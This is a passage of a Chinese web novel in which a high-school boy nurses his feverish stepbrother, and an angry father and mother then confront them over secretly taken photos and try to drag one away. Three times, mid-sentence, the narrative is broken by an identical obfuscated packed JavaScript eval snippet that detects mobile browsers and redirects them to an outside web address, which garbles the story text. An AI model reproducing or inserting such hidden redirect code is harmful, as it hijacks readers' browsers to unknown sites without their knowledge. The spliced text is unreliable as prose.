一阵风从没关紧的窗户缝里吹来,现在的气温不算太低,但许之还是不自觉的打了个寒颤:“有点……” 李斯年估摸着可能还是之前落水那次没养好,但他最多只能管得到许之三餐是否吃饱吃好。 其他的,诸如天冷了被褥换没换厚的、洗完澡头发有没有及时吹干之类的,也不方便多问。 但许之这人一看就是那种不知道怎么照顾好自己的人。 早知道应该给买点维生素片、补血药剂之类的督促他吃的,李斯年心想。 他将一面窗户都关紧,又把校服脱下盖在了他身上:“再睡会吧,我带饭给你。” 许之点点头,说了声谢,趴回桌上。 李斯年去食堂打包了两份饭,又绕去学校门口的药店买了体温计和药。 回到教室,看到许之脸烧得比刚才更红了,一测,38度9。 李斯年赶紧给他灌了退烧药,把盒饭拆开,推到他面前:“快吃点东西,空腹吃药不舒服的。” 许之没什么胃口,吃的不多,最后半碗汤还是李斯年硬要他喝完的,李斯年清理饭盒,边说:“我帮你和老董头请个假,去我出租屋休息。” 许之摇头,说话有气无力:“下午有元旦汇演的初选。” “都这时候了,你就别惦记那个了,反正大家都知道选不上的,老董头也不会怪你。”李斯年说。 “王雪菁都练这么久了。”许之头越来越昏沉,话也简短。 但李斯年听懂了,许之这是觉得,如果因为自己、而让王雪菁白练一场不能上台,他过意不去。 毕竟被刷下来,和连参都没参加就取消资格,还是不一样的。 “你还挺为她着想的。”李斯年轻声嘟囔了一句,又对他说,“要不我替你去参加吧,这些天听你们练,我都会背了。” 许之还是摇头:“名单上有名字和学号的,你替不了。” 李斯年知道他是个犟脾气,认准的事情就不会改,只好搬了个凳子,坐到人旁边:“行行行,那你靠着我睡会。” 许之看着他,一双眼烧得水汪又透亮,他嘴唇微动:“我、我趴着就行……” “你吃了退烧药等会要发汗的,桌子又硬又凉,不舒服。”李斯年把人揽过来,“听话,不然等下我还是帮你请假。” 说完,他又把手从许之肩头撤下了来。 其实这样靠着的姿势并不暧昧,李斯年谨慎的拿捏分寸,不想让许之感到不自在。 但肩头软而带着体温的触感和桌面的确太不一样了,许之顺着李斯年线条流畅的手臂往下,看到他为了维持肩膀的支撑力而握拳抵在腿上的手。 你还是别对我这么好,我不习惯。 许之迷迷糊糊地想着,但嘴皮变得很重,说不出话来。 其实…… 我更怕我会习惯。 35. 初选 大概在一点四十左右,班上陆续有人来了,许之睡得很浅,听到动静就醒了,出了一身汗,好在体温是下来了。 临近下午第一节课前,王雪菁来找许之一起去学校报告厅,看他脸色不好,一问才知道高烧刚退。 “啊,要是实在难受,不去也没关系的。”王雪菁担心的说。 “没事的,走吧。”许之接过稿子,二人一起出了教室。 李斯年目光随着他们而去,忽然右手臂被人拍了一下。 “诶!”方行舟挤眉弄眼,压低声音,“要不要去看他们的节目?” 李斯年看了眼课表上“体育”两个大字,点头:“走。” 方行舟找班长帮忙在体育老师面前打掩护,黄锦婷看到他们是去给王雪菁许之加油的份上,答应了。 二人正走到操场时,李斯年忽然想起什么,丢下一句“你先去,我等下来。”就转头往南门走去。 初选的节目是按照报名顺序来的,王雪菁当时故意卡在截止时间前提交的报名表,故而排在了最后一。 前面少说有二十五六个节目,王雪菁和许之签到之后,就坐在后排等着。 方行舟装作漫不经心的走到旁边的空座位,递过来两瓶水。 “你怎么来了,不上体育课?”王雪菁问。 方行舟耸耸肩:“我这不是怕你上台一紧张,念错词儿嘛,来看看。” 王雪菁轻哼一声:“那你算是白来了,我才不会错呢。” 二人有一句没一句的斗着嘴,许之在旁边闭目养神。 大多数班级的节目都是精心准备的,歌舞、小品还有相声,时长基本都是五分钟起步,许之感觉过了挺久的,仔细一听报幕的同学念节目名,才第八个节目。 报告厅的凳子是折叠的,很硬、靠背也短,排与排之间很紧凑,腿几乎伸不直。 许之逐渐又感觉到有点难受,皮肤像是蚂蚁爬过,微微疼痛的感觉,他干脆手叠在面前的小横桌上,趴了下去。 感觉到体温在逐渐攀升,外界的声音也变得虚虚实实,不那么清晰,他隐约听到又有一个人走过来,和旁边两人说了些什么,然后感觉一只手从他的臂弯里绕进来。 那手冰冰凉凉,就这么贴上了他的脸,缓解了些许不适感。 “又烧起来了?”李斯年问。 “没事……”许之微眯着眼,抬起头,李斯年将一瓶水塞进他手里。 “多喝点水,距离上次吃退烧药还没6小时,不能再吃。”李斯年说。 许之反应有些迟钝,他低头看,水瓶已经被拧开了,能看到澄清的水在杯内晃动,他忽然感觉的确很渴了,小口小口喝着,又听旁边李斯年在问王雪菁。 “到第几个节目了?” “我们前面还有十七八个吧。”王雪菁也有点内疚,问许之,“要不真的弃权吧,我没关系的,反正也只是为了凑数……” 许之听言,抬眼看李斯年,刚对上眼神,还未开口,李斯年就仿佛明了他要说什么似的叹了口气。 “真不知道你是属什么的,犟死了。” 李斯年说完,抬脚走到第一排几个评审老师处走去。 只见他半弯下腰,向为首的老师陪着笑脸说了些什么,但对方摆摆手,似乎是拒绝了。 李斯年又耐心的依次向后询问,最后一个老师迟疑片刻,凑过头和前面几人商谈了会儿,终于是点了头,李斯年双手合掌做了个感谢的动作,然后回到王雪菁这边。 “你们准备准备,下一个就上吧。”他说。 “啊,好。”王雪菁应下,原来他刚才是去请求老师更换节目顺序了。 李斯年又半低下身,对许之说:“我给你带了件衣服,走,去换一下。” 他刚才就是去出租屋拿衣服了,因为惦记着许之退烧出汗而打湿的衣服贴在背上,早已变得冰冷,不仅很不舒服、还容易二次受凉。 “啊……”许之本来想拒绝,但李斯年已经不容置疑的把他胳膊架了起来,他没什么多余的力气,只好轻声说:“嗯,没事,我能自己走。” 说着,二人往卫生间走去。 “许之不是才转校来,他俩怎么这么熟了?”王雪菁看着二人的背影,问方行舟。 “还行吧,许之是李斯年他爸二婚那边带来的。”既然李斯年也没藏着掖着,方行舟便坦白说了。 王雪菁眼睛瞪的圆滚滚:“这样的关系,难道不是应该水火不容么?” “一开始好像是有点僵,但后来不知怎么缓和了些。”方行舟说。 王雪菁努努鼻子,心想,如今这看起来可不仅仅是“缓和”。 她和李斯年同学三年,虽然交集不多,但也知道这个人挺我行我素的,不怎么关心旁的人,更别提为了别人去求谁了。 但他对许之明显不一样。 也就方行舟这个迟钝的傻子看不出来了。 许之换好出来,正好就该上场了,他刚用冷水冲了脸,现在清醒些许,李斯年的短袖对他而言其实有点宽松,但二人个头差不太多,看上去倒也不违和。 这段配音已经练得非常熟了,上台后进行的还算顺利,除了许之的声音明显是沙哑的之外,2分钟很快就结束。 评审老师里头有教英语的,许之和王雪菁下场时,她还专门说了句:“这个内容形式都不太适合元旦汇演,但明年开学后有朗诵比赛,你们记得报名啊。” 从报告厅出来,李斯年就让方行舟和王雪菁先回去了,他带着许之去化学办公室找老董头请假,刚要进门,迎面撞见正抱着一摞卷子出来的魏旬。 李斯年侧头看到老董头不在座位上,问:“董老师人呢?” 魏旬瞟了一眼垂着头、仿佛幽魂一般跟在李斯年身后的许之,回答道:“去隔壁找数学老师要晚自习了。”顿了顿,又问,“许之这是怎么了?” “有点发烧。”李斯年不想和他多说,直接转去数学办公室,和老董头请了假。 董老师摸了下许之的额头:“噢哟,烧这么高,怎么回去?要不我给你们爸妈打个电话?” 许之有气无力的说:“不用麻烦……” “是啊,他们估计都在忙。”李斯年接过话头:“我送他就行,我也请哥假。”李斯年插嘴道。 董老师想了想,抬手招呼站在外面还没走的魏旬:“把他俩卷子找出来。” “今天晚自习本来是要讲卷子的,但你这次考得还不错,就自己回家对着答案看看步骤有没有可以改进、细化的地方。” 董老师怕他骄傲,嘴上说的很克制,其实李斯年又考了满分,“许之错了一道选择题,回头你顺便给他讲了。” “好,我知道了,谢谢老师。”李斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401247|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年把试卷往兜里一塞,拿好盖了章的请假条,带许之出了校门。 此刻还没到晚饭点,江叔一般会在晚自习结束前半小时才来校门口等,而且李斯年也不放心许之回碧水名城。 他回去,肯定又是自己往屋里一躺,睡到不知什么时候醒,没人帮他看着体温、叫他按时吃药。 “今晚睡我那行不?”李斯年问。 许之此刻已经烧到觉得自己是一个行走的大火炉了,走路脚底直发虚,只能勉强扶着李斯年的手臂,脑子也晕晕乎乎转不动:“嗯……” 于是李斯年把人带回了家,掐着表看时间到了,赶紧让他喝了退烧药,让他捂着被子发发汗,又找来毛巾浸湿了水,敷在额头上。 许之沉沉睡去,偶尔翻身,表情皱成一团,看来还是很不好受。 李斯年就这么守在旁边,换了好几趟毛巾,看着许之出了一身一头的汗,头发跟打湿了似的贴在脸侧,烧终于是又退了下去。 已经到傍晚了,许之睁开眼,见李斯年正看着自己,也不知道这样看了多久,他嘴唇一动,还没发出声音,但对方已经像是有读心术似的,递上了水杯。 许之哑着声说了句“谢谢”,把杯子里的水喝了个干净。 “去洗个澡吧,出很多汗了。”李斯年说。 许之下床,李斯年拿了换洗的短袖和运动裤过来,他摸了摸头,似乎有点不好意思:“那个……我这没有新的内裤,但这个运动裤是只过了遍水,没穿过的,真的,你别介意。” 许之伸出的手微微一顿,接过衣服,进了卫生间。 烧退了,衣服上汗的余热就显得有点烘人,许之看到镜子里自己脸颊很红。 还好,生病发烧的人,脸红一点也是很正常的事情。 许之洗完澡出来,看到李斯年竟然已经把被套和床单换了新的,汗湿潮气不再,只剩干燥舒适。 他真的很少见有人这样细心的,和性别甚至都没有太大关系,在他遇到的有限的人里,许茜不是这样的人、许贺亮老婆对丈夫儿子也不会这样。 李斯年递来吹风机:“赶紧吹干头发,然后再睡会,我点了外卖,是一家很好喝的粥店,但是现熬的,还很远,送来估计要一小时后了。” 许之将吹风机插上:“我已经退烧了,等下还是回去睡吧,别传染给你了。” “你要是回去又烧起来怎么办?我体质好得很,放心。”李斯年说着,干脆从他手里接过吹风机,打开开关,风吹的噪音阻止了许之后面的话。 短发吹干很快,李斯年趁机再次满足自己揉许之脑袋的心愿:“好了,快去睡。” 这人真的很会温温和和的说着不容否定的话,许之也就不再坚持,去床内侧睡了。 许之体温恢复正常后,李斯年绷紧的神经也得以暂时松懈,这才后知后觉地有点累了,但惦记着等下那外卖,便只是半靠在床边,闭目养神。 迷迷糊糊不知过了多久,半梦半醒之间,一阵剧烈的敲门声响起。 李斯年因为骤然惊醒而一阵心慌,他看到许之也被吵醒了,有些烦躁,下床去开门:“下单时都备注了,别敲门,打电话——” 话还没说完,随着门锁开启,门从外面被猛地推开。 李斯年后撤两步才堪堪没被砸到,抬眼就看到一脸阴沉的李宇站在外面,后面跟着许茜。 36. 突变 李斯年挡在门前,问李宇:“你来这里做什么?” 李宇不答话,只是抬手把人推开,大步跨进屋内,直到看到半坐在床上的许之,才冷笑一声:“哼,我来做什么?你先说说,你们在做什么!” 李斯年诧异之中又隐隐猜到了什么,解释道:“许之今天发烧了,所以我就让他暂住这里的。” “我看你是不见棺材不落泪,是吧。”李宇像是听到什么天大的笑话,气笑着在屋内踱了几步,从兜里掏出手机,往李斯年身上一丢:“你自己看!” 手机重重砸在李斯年前胸,然后弹到床上,许之低头看去,是无数自己和李斯年的照片。 不待他细看,李斯年先将手机拿了过去,这里头的照片有露营地的,教室的,食堂的,都是偷拍照片。 拍摄角度和时机都很刁钻,有许多明明是正常的互动、身边其实还有好多同学在的,也都被截取只剩下双人部分,显得非常暧昧。 最新的一张,是今天中午,许之还发着烧,靠在李斯年肩膀上睡。 从照片的角度看不到许之烧红的脸,只看得到李斯年侧头看他,眼中满是藏不住的缱绻情意。 “丢不丢人,啊?李斯年?”李宇拍了拍自己的脸,厌恶道,“人家照片都发到我手机上来了,你不要脸,我还要。” 李斯年将手机锁屏,拒不承认:“几张照片能证明什么?旁边本来都是有其他同学的,偷拍的人故意把他们都截掉,明显是为了诬陷,你看不出来吗?!” 李宇咬着牙,这是他愤怒到忍不住要动手的前兆,字句一个个从牙缝里挤出来:”还在狡辩!就算照片不能证明,那今天这是我亲眼瞧见的吧!“ 他指着许之:“你们、你们都已经……” 像是觉得肮脏到说都说不出口似的,李宇一跺脚,后面的话咽了下去,看了许茜一眼:“你看看,这也是你教出来的好儿子!” 许茜一直沉默着站在李宇后面,他这话一出,活像是被扇了耳光似的,浑身一颤。 她无论什么时候都是带着全妆的,今天涂了大红色的口红,更衬得此刻脸色灰白难看得很。 许之手撑着床落了地,他中午吃的就不多,烧了一下午,胃里空的有些绞痛,他勉强站起身:“妈,李叔叔,真不是你们想的这样……” 他话还没说完,许茜突然像是疯了般,冲上前去,一把揪住了他的衣领,猛地向前扯去。 许之本就浑身乏力,许茜这下劲儿又出奇的大,将他整个拽得踉跄,眼看就要栽到地上。 李斯年眼疾手快,伸手扶了扶,却被许茜推开,她像是只被拔了毛的狐狸,一双本该漂亮妩媚的眼睛里浸满了怨恨。 “你就是这样回报我的!我供你读书吃了多少苦,你、你竟然做出这种见不得人的事!”许茜歇斯底里道,“你是不是恨我,就是见不得我过得好,是你主动勾引李斯年的吧!你选谁不好,非要选他?!” 许之听了这话,脸上仅剩的一丝血色也无了,他虚张了张嘴,却最终还是什么话也没说出来,像是被抽干灵魂的玩偶娃娃,任凭许茜推搡、拉拽,一声不吭,只是双眼空洞的看着她。 李斯年忍不住上前,一把推开了许茜,将许之护在身后,不可置信道:“你是他妈妈啊,怎么能这么说他?!” 其实许茜要怪他也好、责问许之为什么喜欢男人也罢,这些李斯年都能理解。 但作为一个母亲,为什么可以这样恶毒的揣测自己的孩子? “我说错了么?”许茜凄厉一笑,“我自己的儿子,我能不知道?从前怎么没听说他喜欢过男的?是了,非要等我进了李家门,看我不用再像以前那样成天累死累活的出差,为了拉个业务、赚点钱,整天低眉顺眼的赔笑,看我终于能过上正常的生活了,所以就开始想办法搞破坏。” 她说着,恶狠狠的看向许之:“你和你那个破烂爹一样,都不是什么好玩意!这种东西就是会遗传的!你们都是我命里的灾星!” “够了!” 李斯年实在是听不下去了,如果这人不是许之的母亲,他肯定忍不住要动手把人赶到屋子外面去。 “是我要喜欢他的!” 许之原本脱力的身体猛地一颤,感到自己的呼吸几乎要停止了,他抬起头,不可置信的看向李斯年。 但他看到的只是少年挺拔的背影,李斯年语气是一贯的坦荡,“准确来说,是我单方面暗恋许之,他根本不知情。另外,今天他发烧的事情班上好多人都知道,我也是跟董老师请了假才带他出来的,你们不信的话可以去学校随便问。” 李斯年其实有幻想过,会在什么样的情景下跟许之告白,只是计划赶不上变化,没想到会是在这种时候。 李宇见李斯年还这么理直气壮,气得双手颤抖:“你是不是以为,我是真的拿你没办法?行!你要这样,书也别读了,人都没学会怎么当,还读什么书?我找个地方把你关几年,看你还犟不犟!“ 李宇说完,向门外招呼,他居然还带了人来,几个彪形大汉乌泱泱往屋子里涌,两人拦住许之,剩下几人架着李斯年就往外走。 其实若是只有李斯年自己一人,尽全力挣脱,还是有机会逃走的,但许之此刻被困在屋内、生着病连鞋都没穿,李斯年带不走他。 猜也猜得到,他跑了,李宇等人的矛头就会对准许之。 权衡之下,李斯年还是决定放弃抵抗,他从前也不是没被李宇关过禁闭,李宇工作上的事情很多,过不了多久,注意力就会转移,到时候自己还能再想办法逃出来。 许茜却反而慌张起来,她拦在门口,不让几人将李斯年带走,看向李斯年的目光竟带着些恳求:“你倒是服个软啊!都到这种时候了,快道歉啊,说你错了!你以后再也不敢这样了!” 李宇嗤笑:“他要是能知道错,也不会到这一步了!” 李斯年冷冷的看了许茜一眼,转头对李宇道:“你要么就把我关一辈子,否则,等我出来,你也没有好日子过。” 李宇哈哈大笑,鼓了两下掌:“好啊,那就走着瞧。”说完,脸一垮,命令道,“给我带走!” “李斯年!”许之想往外冲,但却被两个大汉拦得严严实实,只能眼睁睁看着李斯年被带出门去。 他焦急之下,四处扫视,看到半臂外的一个矮木凳,想也不想,抄起来就往其中一个大汉身上砸去! 这二人得到的命令只是拦住许之,也没料到这么个半大不大的少年人,出手会这样又快又狠。 木凳砸在大汉肩背,随着那人的痛哼,木凳一条腿也断裂开来。 许之紧抿着苍白的双唇,带着明显病气的脸上神情阴沉暴戾,他眼都没眨,反手就迅速把手里的东西抡向另一人! 那人有所防备,猛地抬手抓住了凳子,僵持之间,许之抬脚踢中他的小腿前骨,二人手同时一松,木凳落地。 许之随即与那大汉双手交错,扭打起来。 一时间,屋内陷入混乱,许茜抱头尖叫,李宇拉着她往角落躲去。 许之下手很重,而两个大汉却不敢动真格,一时间反而落了下风。 李斯年快被架到岔路口,听到屋内的起了动静,他扭过头:“许之?许之!” “别动!”牵制住他的人手上用劲,呵道。 李斯年目光一沉,肩臂猛地发力,从右边那人的手中挣脱出来,紧接着迅速的抬膝,重击另一人裆下,在一片哀嚎声中转身就往出租屋跑。 “我看你们是都要反了!”李宇见李斯年折返,怒号一声,大步跨前,右手死死抓住了李斯年的大臂。 他从前在部队里练过擒拿,虽说这些年一身肌肉大多都化作肥肉,但当年的底子还是在的,真要出手,不见得比那些大汉逊色。 李宇咬着后槽牙,脸上狰狞的横肉抖动,他换手钳着李斯年的双手手腕,将他整个人往墙上用力一按,扭头吼道:“都给我住手!” 屋内众人顿时止住了动作,许之奋力甩开肩上的手,往李宇走了两步,他胸口起伏,大口喘着气,目光灼灼的看向李斯年。 “李叔叔!”他急切地开口:“其实李斯年他根本不是同……” “你别多管闲事!”李斯年骤然打断他的话,此刻他半边脸被压在墙面上,想要说话都有些费劲,只能挣扎拧动着身体,“本来就是我纠缠你,用不着你同情我!” 许之苦笑,这人也太聪明了,话刚开头,就知道他想做什么。 但已经到了这个地步,就不要再一心想着保护他了。 许之准备继续开口,却忽然听到门外传来一阵滚轮的摩擦声,随即是温和的声音响起。 “你们在做什么?”是梁芷推着孙家娟的轮椅,进了门。 梁芷看向李斯年的目光有些惊疑,想说什么,但看出此刻不是她说话的时候,于是只是怯生生的叫了一声“李叔叔”。 李宇见到二人有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401248|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶,他勉强对梁芷点点头,但眉眼明显是往下垮了,对孙家娟则是挤出少许虚假的笑意:“见笑,小子犯浑,我正教训他呢。” 孙家娟看向他擒拿着李斯年的双手:“这阵仗未免也太大了吧。” 李宇还是笑,手上却也没松劲:“你是不知道他现在多大脾气……算了算了,家丑不可外扬啊。” “我刚在外面,全部都听到了。”孙家娟手扶着轮椅,她性情一向温柔随和,就连说起立场对立的话,也是和和气气。 “要我说,老李啊,孩子们眼看就要过十八,就是成年人了,我们做家长的管是要管,但也不能管的太多了,如今时代开放,这种情况也不少见,斯年成绩这么好,明年就要高考,你这时候把他关起来,这不是毁了孩子前程么?” 李宇摇头:“俗话说得好,先成人后成事,他搞出这么荒诞的事情来,以后就算考上大学,也是社会的渣滓!家娟,这是我家的家事,就不劳你操心了。” 孙家娟笑了笑,也不恼,目光远眺,语速也拉的更缓:“我还记得,郑秀生李斯年那天,你正在外地开会,说起来,我还比你更早些见到这孩子来到世上的模样,况且我和郑秀这么多年的交情,她的孩子,也算是我的半个孩子,说什么家事不家事,也太见外了。” 李宇脸色有些不好看,却又说不出更加重的话来。 其实早年,他们两家关系的确是很近的。 那时,孙家娟那个跑路的老公也在做生意,做的比李宇还好,在资源渠道上没少帮衬李宇,李宇的公司后来能步入正轨,很大程度都是源于此。 孙家娟的老公和李宇本不认识,能牵线搭桥上,自然是因着孙家娟和郑秀的情谊,所以深究起来,孙家娟是对李宇有恩的。 虽说现在风水轮流转,有人越爬越高、有人归于平凡,但李宇终究还是不想和孙家娟翻脸,双城的圈子也不算大,互相都认识,他不想落人口实被说是忘恩负义。 仿佛知道李宇在想什么似的,孙家娟留了足够的时间,过了会,才继续开口。 “行了,父子之间别弄得像是仇人一样,郑秀若还在,也不愿意看到这一幕,她从前老和我说,就盼有一天李斯年考上大学、成人成才呢。” 李宇压制着不耐烦的表情,脸颊微微抽搐,死去的人总是最好用的,说出的话是圣旨、许下的愿望不容反驳。 他语气里藏着嘲讽意味:“这么多年过去了,家娟,你这张嘴还是这么厉害,太能说的女人可不讨喜啊。” “我都这把年纪了,也不需要再讨谁的喜了。”孙家娟看了一眼许茜,面上柔和的微笑加深几分,“倒是你啊,日子还是过得有声有色,事业也越来越好了,风口浪尖上的人物,还是要注意影响,别回头传出些闲言碎语,不好收拾。” 李宇随着她示意的目光看向门外,刚才闹出的阵仗已经惊动了不少街坊四邻,此刻夜还不深,连路边夜市里吃吃喝喝的人也陆续闻声过来看热闹。 李宇明年上半年还有几个重要的招标会,这时候,任何舆论都有可能被对家拿来做文章。 想到这里,李宇哼了一声,不情愿的松开了李斯年。 “行,你也算是大人了,我管不动了,以后的路就自己走吧,有本事就混出点样子来,别熬不下去问你孙姨要钱,她赚钱也不容易,哦,对了,你妈给你留的卡也别再用了。” 李宇指的就是李斯年这段时间在用的那张卡,原来他之前都知道,只是睁一只眼闭一只眼而已。 他说完,转身离开,许茜瞥了一眼许之,发现他根本没在看自己,于是什么话也没再说,低头跟着李宇离开。 李宇带的人也一起走了,瞬间出租屋就空旷起来。 “孙姨,谢谢。”李斯年轻声说。 孙家娟长长叹了一口气,看看许之,又看看李斯年:“有些话其实不该我说,但李宇是这个脾气,郑秀又不在了……如果你也当我是你的长辈,就听我一句劝,我知道你们俩都是好孩子,但是,还这么年轻,有些事情不着急,还是先慢慢想清楚吧。” 她话说的委婉,点到为止,示意梁芷推着自己离开。 到了门前,又想起什么,补了句:“对了,你爸说的话别放在心上,我回头给你准备一张卡,虽说是不能像你从前在家过得那么富足,但生活还是不用发愁,高考快到了,得分清轻重缓急。” 说完,也不给李斯年开口拒绝的机会,推着轮椅就走了。 37. 兼职 孙家娟走后,屋内陷入了长久的沉默,李斯年转过身,与许之四目相对,二人都不知道该说些什么才好。 最后是李斯年先走了过去,探了他的额温,又有点起热了。 这么一闹,已经九点过了,刚才点的粥在混乱中被外卖员放在门外墙角,早就冰凉到不能吃。 李斯年让许之床上休息,自己拿起手机:“我点个外卖,吃了东西再喝药吧。” 许之半靠在床头,看着李斯年付款时手机上弹出的“银行卡不可用”的提示,李宇的确是雷厉风行,这就已经把他的卡锁了。 “我来吧。”许之拿起自己的手机点了外卖。 “明天我也出去找找零工,大不了以后花钱不那么大手大脚了,没关系的。”其实就算李宇不这样故意拿话激他,他也不会伸手白拿孙姨钱的。 “找零工”三个字像是带着刺,许之听在耳里,心中荡开闷闷的疼痛。 在他眼里,李斯年似乎天生就该明媚肆意的,他不用品尝贫穷的滋味,也不该为了钱吃苦。 如果他这样了,许之会觉得是自己造孽:“你真的没必要为了我和你爸闹成这样……其实到这地步,就算全部坦白,也没什么。” 他指的是许贺亮的事情。 “不行,我既然帮了你,就会帮到底。”李斯年否定的坚决。 他看向许之的目光有些严肃,像是在说极其重要的事情,“许贺亮的事已经彻底过去了,你答应我,以后无论发生什么,你都不要再提起这件事,好吗?” 许之在他漆黑的瞳孔中看到反射出来的自己,忽地有些发怔。 他第一次发现自己能这样被包裹在充满关怀和保护的眼神之中。 这个少年,这样固执又努力的守着他的秘密、他的伤疤,哪怕自己会受伤。 许之喉头发紧,他善于处理所有敌对的、尖锐的、恶意的对待,却独独不知道该怎样面对这样的柔善与关怀。 他垂下眼,浓密的睫毛抖闪了下,用言简意赅的回答掩饰声音的发颤:“好。” 李斯年呼出一口气,又说:“况且,我和李宇之间,就算不因为这件事、也会因为别的事闹翻,因为他心里永远只有他自己,只相信自己认为的事情。” 这也是李斯年一直以来最对他感到寒心和失望的所在,“所以你不要自责,我和他到今天这地步,本质上和你没关系。” 许之眉头仍是紧锁着,他有些欲言又止的看向李斯年。 明明与家人割席的是他,这时候却又反过来安慰自己。 为什么要对我这么好呢? 兴许是与李斯年呆久了,被他的坦诚直率所影响,又或许是退烧药的效果快结束,体温又渐渐升起来,许之脑子一热,竟然问出了口:“那,你刚说喜欢我……” 李斯年耳根一红,在那瞬间,他脑子里电光火石之间冒出无数个想法、无数个选择。 他几乎要忍不住想问,如果我说的是真的,你怎么想?你对我是什么感觉? 但当他终于抬起眼时,波澜壮阔的情绪却全部被按在很深很深的地方,几乎不见,语气是轻松随意:“那个啊,你妈当时说的那些话太过分了,所以我才说暗恋你的,反正我死猪不怕开水烫,李宇不爽我很久了,不差这一点。” 果然是这样,许之想,这可是李斯年,什么惊世骇俗的话从他口中说出都不必感到惊讶,自己怎么会有一瞬间当了真呢? 明知同性恋是个幌子,他根本不喜欢男生。 许之心中的石头落下,却随之又觉得有点空落落的。 他强迫自己不要深思,暗自深呼吸着,很快找回语调的平稳,回到最初的话题:“许贺亮之前在贴吧发帖时,其实也同时给许茜发了短信。” 李斯年瞳孔一缩:“什么?!” 许之自顾自的往后说:“但刚才她当着李宇的面,却说自己之前根本没听说过我的性取向。我知道她为什么要那样说。” 他的双眼此刻就像是深夜无风的池水,晃荡着看不清的波光,随后融入不见底的暗处,有种近乎死寂的平静。 “若你和你爸关系破裂这件事里有我的存在,那就是她和李宇之间永远的鸿沟,她为了维持想要的生活,所以必须和李宇站在同一战线,把过错都归结于我,成为那个无辜的人。” 李斯年听着,却很不是滋味。 明明被这样伤害了,许茜在“李宇妻子”和“许之母亲”两个身份之间,做出了取舍,连他这个旁观者都忍不住感到愤怒。 但许之作为当事人,却还是能在这么短的时间内,快速的抽离出情绪,对一切做出准确的判断和解释。 很难想象,是怎样的生活环境造就了许之这样的思维习惯。 他帮许之掖好被子,顺势将这个姿势延伸为并不亲昵的拥抱,一触即离,他对上许之的目光,轻声说:“其实,你可以难过的。” 许之眼神一颤,忍不住看向李斯年,从来不敢示于人前的脆弱像是退潮后的礁石,有种光秃秃的羞耻、又有种得以呼吸的畅快。 李斯年注视着他,一字一句,说得极其认真:“你也可以怪她,可以生气,更可以不理解,可以不接受。这是她做错了的事情,你不用为她做出解释。” 这种对他人行为的合理化,同时也是对自己情绪的压制。 仿佛只要“有理可循”,那就是“可以发生”。 许之忽然觉得像是一阵夜风吹来,吹散了浸染礁石的潮湿。 是被读懂、被看透。 被接纳、被允许。 许之从来没有体验过这样的心情。 他过了好一会,才迟疑着开口,像是问李斯年、又像是在问自己:“可以吗?” “当然。”李斯年勾了勾嘴角,忽然话头一转:“你要是想哭一会,我会装作没看到的。” 许之被这句话逗得眉间一松,想也不想的接话道:“我才不哭。” 屋内压抑的氛围终于在此刻稍稍缓解。 - 许之第二天就没有再烧了,李斯年让他在家好好休息,自己则跑出去找兼职。 有些事情不自己做,就不知道困难之处,就好像李斯年之前还问许之“为什么不去找份家教的工作”。 他一天下来,跑了十几家培训机构才知道,没有一家机构会接受一个未成年高中生的应聘。 李斯年又学着学校周围张贴的家教小广告,也自己打印了一些,贴在显眼处,几天过去,打电话来的人少,能聊得下去的更少—— “只是高中生,一小时家教收50元也太贵了?三小时60怎么样,行的话半小时后先来免费试上一节看看。” “你真的是育德学校的年级第一?这个排名的照片有点模糊,有没有视频?” “成绩是真实的吗?现在p图的太多了,班主任电话提供一下,我得先核实核实。” “按次结算不好,万一孩子成绩没提升怎么办?月结吧,先压半个月的课费在我这,如果上了家教课总分提高少于100分,扣百分之五十的薪水,依次递增,具体可以再商量……” “接不接受现场做一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401249|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去年高考真题,看看多少分?” 李斯年无数次忍住挂断电话的冲动,憋着火、赔笑脸,耐心的一一解释。 但尽管如此,四五天下来,还是毫无结果。 倒是一次大课间,钱霆夹着广告单走过来,戏谑道:“勤工俭学的李大学霸,给我也补补课呗?如今没了有钱的老爹撑腰,日子很难过哟!” 虽然三岔巷子人多嘴杂、向来很难藏住秘密,但有钱能使鬼推磨,李宇为了自己的声誉,最终还是封锁了李斯年和许之同居之类的消息。 外界知道的版本只是“李家大少爷离家出走,常年不合的李家父子在出租屋大吵一架”。 李斯年没搭理他,在一众哄笑声中走过。 旁边的方行舟知道他被冻结了银行卡,四处找兼职不得,心里也着急:“我帮你在贴吧发个找家教兼职的帖子吧?你在我们学校挺有名的,或许有低年级的学弟学妹需要补课呢。” 一般学校贴吧是不允许发兼职求职帖的,但方行舟毕竟是小吧主,可以行使一下特权。 “谢谢。”李斯年叹了口气,他这几天下来才体会到,许之为什么会做那些脏活累活。 